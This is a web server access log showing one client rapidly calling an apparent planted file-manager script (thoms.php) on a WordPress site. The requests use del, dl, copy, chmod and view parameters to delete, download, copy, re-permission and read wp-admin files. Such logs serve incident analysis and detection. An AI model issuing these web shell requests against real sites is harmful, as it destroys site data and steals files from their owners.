45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?del=customize.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=customize.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?dl=plugin-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink-manager.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Flink-manager.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?dl=export.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?dl=export.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?chmod=ms-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /bestzyx.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 200 13056 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:32 -0400] "GET /thoms.php?del=ms-users.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28773 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /bestzyx.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /bestzyx.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?del=install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fuser-edit.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fuser-edit.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?chmod=link-add.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?del=upload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?del=upload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?del=ms-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?del=options-discussion.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?dl=privacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?chmod=link.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /thoms.php?chmod=menu.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:33 -0400] "GET /bestzyx.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 200 12047 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Ftheme-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 200 13996 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?del=widgets.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28805 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?del=images&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28810 "http://163.245.207.76:443/thoms.php?del=images&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?chmod=edit-comments.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?dl=authorize-application.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28736 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 200 13036 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsetup-config.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fsetup-config.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:34 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28775 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 200 15211 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?del=index.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 200 12157 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 200 28199 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?chmod=options-general.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /bestzyx.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-themes.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fms-themes.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-media.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-media.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /bestzyx.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /bestzyx.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 200 12658 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:35 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 200 12042 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-head.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Foptions-head.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupdate.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupdate.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 200 12958 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28777 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?chmod=js&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=js&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?chmod=font-library.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?dl=load-styles.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28802 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /bestzyx.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?del=widgets-form.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?dl=my-sites.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28774 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /bestzyx.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 200 16918 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:36 -0400] "GET /thoms.php?dl=options-head.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?chmod=site-editor.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /bestzyx.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupload.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupload.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcomment.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fcomment.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fnav-menus.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fnav-menus.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?del=network.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28938 "http://163.245.207.76:443/thoms.php?del=network.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 200 17534 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 200 13463 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /bestzyx.com.tw/wp-admin/maint/ HTTP/1.1" 200 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?chmod=css&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=css&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:16:37 -0400] "GET /thoms.php?dl=theme-install.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28940 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
